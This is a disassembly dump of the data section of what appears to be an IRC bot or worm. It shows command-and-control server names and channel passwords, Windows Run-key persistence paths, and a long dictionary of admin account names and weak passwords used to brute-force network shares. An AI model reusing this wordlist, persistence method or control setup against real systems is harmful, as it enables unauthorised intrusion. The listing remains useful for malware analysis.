unk_42BF4C	db    2			; DATA XREF: sub_40BCEF+262o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 4
unk_42BF88	db    2			; DATA XREF: sub_40BCEF+1D8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 10h
unk_42BFD0	db    2			; DATA XREF: sub_40BCEF+195o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_42C014	db    2			; DATA XREF: sub_40BCEF+183o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 10h
unk_42C060	db    2			; DATA XREF: sub_40BCEF+77o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40C297:loc_40C2DAo
					; sub_413627+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40C297:loc_40C2D4o
aDisk		db 'Disk',0             ; DATA XREF: sub_40C297:loc_40C2CEo
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40C297:loc_40C2C8o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40C297:loc_40C2C2o
		align 4
aRam		db 'RAM',0              ; DATA XREF: sub_40C297:loc_40C2BCo
aFailed		db 'failed',0           ; DATA XREF: sub_40C328:loc_40C400o
					; sub_40C443+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_40C328+6Bo
		align 4
dword_42C0D8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40C443+8Eo
		dd 2029206Ch, 2BBBB02h
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 4
dword_42C128	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40C443+58o
		dd 2029206Ch, 2BBBB02h
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
		align 4
aA_0		db 'A:\',0              ; DATA XREF: sub_40C515:loc_40C55Ao
dword_42C17C	dd 1A0Bh						; sub_40C682+460r
dword_42C180	dd 1B58h	dword_42C184	dd 1AA6h	dword_42C188	dd 0CCEh						; sub_40CE55+4E69r
dword_42C18C	dd 158Dh						; sub_40CE55:loc_411DB0r
dword_42C190	dd 1		dword_42C194	dd 1		dword_42C198	dd 1							; sub_40C682:loc_40C9BBr
byte_42C19C	db 78h			; DATA XREF: sub_40C1E1:loc_40C1EDr
					; sub_40CE55+AF6r ...
		align 10h
dword_42C1A0	dd 9							; sub_4140C8+51r ...
dword_42C1A4	dd 1							; sub_40CE55+27Cr ...
aIdspp		db 'idspp',0            ; DATA XREF: sub_40C682+67o
					; sub_40CE55+3D0Fo ...
		align 10h
aEnz9_9b	db 'enz 9.9b',0         ; DATA XREF: sub_40CE55:loc_41285Fo
		align 4
aHi		db 'hi',0               ; DATA XREF: sub_40CE55+5B8Do
					; sub_40CE55+5C5Co
		align 10h
aHome_najd_us	db 'home.najd.us',0     ; DATA XREF: sub_40C682+398o
					; sub_40C682+451o
		align 10h
aDd_0		db '#dd',0              ; DATA XREF: sub_40C682+3B9o
					; sub_40C682+467o
aDpass		db 'dpass',0            ; DATA XREF: sub_40C682+3D0o
					; sub_40C682+479o
		align 4
byte_42C1DC	db 68h			; DATA XREF: sub_40C682:loc_40CB11r
					; sub_40C682+49Do
aOme_paltalkdc_	db 'ome.paltalkdc.com',0
		align 10h
aDd_1		db '#dd',0              ; DATA XREF: sub_40C682+4B3o
aDpass_0	db 'dpass',0            ; DATA XREF: sub_40C682+4C5o
		align 4
byte_42C1FC	db 54h			; DATA XREF: sub_40283D+84o
					; sub_403178+Fo ...
		db 69h,	6Ch, 65h
		dd 706D6F63h, 6F632E63h, 6Dh
dword_42C20C	dd 636C6574h, 63706D6Fh, 6C6C642Eh, 0dword_42C21C	dd 54204350h, 63656C69h, 6D6Fhdword_42C228	dd 2D4350h, 656C6954h, 706D6F63h, 6F632E63h, 6Dhdword_42C23C	dd 692B782Bh, 0	dword_42C244	dd 637023h						; sub_40CE55+4CCFo ...
dword_42C248	dd 737323h	dword_42C24C	dd 737323h	a78712		db '78712',0            ; DATA XREF: sub_40283D+9Ao
		align 4
aDd		db 'dd',0               ; DATA XREF: sub_40283D+95o
		align 4
aDd_		db 'dd.',0              ; DATA XREF: sub_40283D+90o
off_42C260	dd offset a@room	; DATA XREF: sub_40CE55:loc_412A3Eo
					; "*@room"
off_42C264	dd offset aMirc1_6_99	; DATA XREF: sub_40CE55+8C6r
					; sub_40CE55+5C05o
					; "mirc	1.6.99"
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_1	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 10h
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_4146BA+28o
					; sub_4149DE+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_4146BA+D4o
					; sub_4149DE+D4o
		align 10h
		dd offset aAdministrato_0 ; "Administrator"
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd offset aUser_0	; "USER"
		align 8
off_42C368	dd offset byte_438FBC	; DATA XREF: sub_404F08:loc_404FBDr
					; sub_404F08+C2o
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrato_0 ; "Administrator"
		dd offset aAdministrator ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex_0	; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_1		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_0	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_432C64	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_4263F0
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool		; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
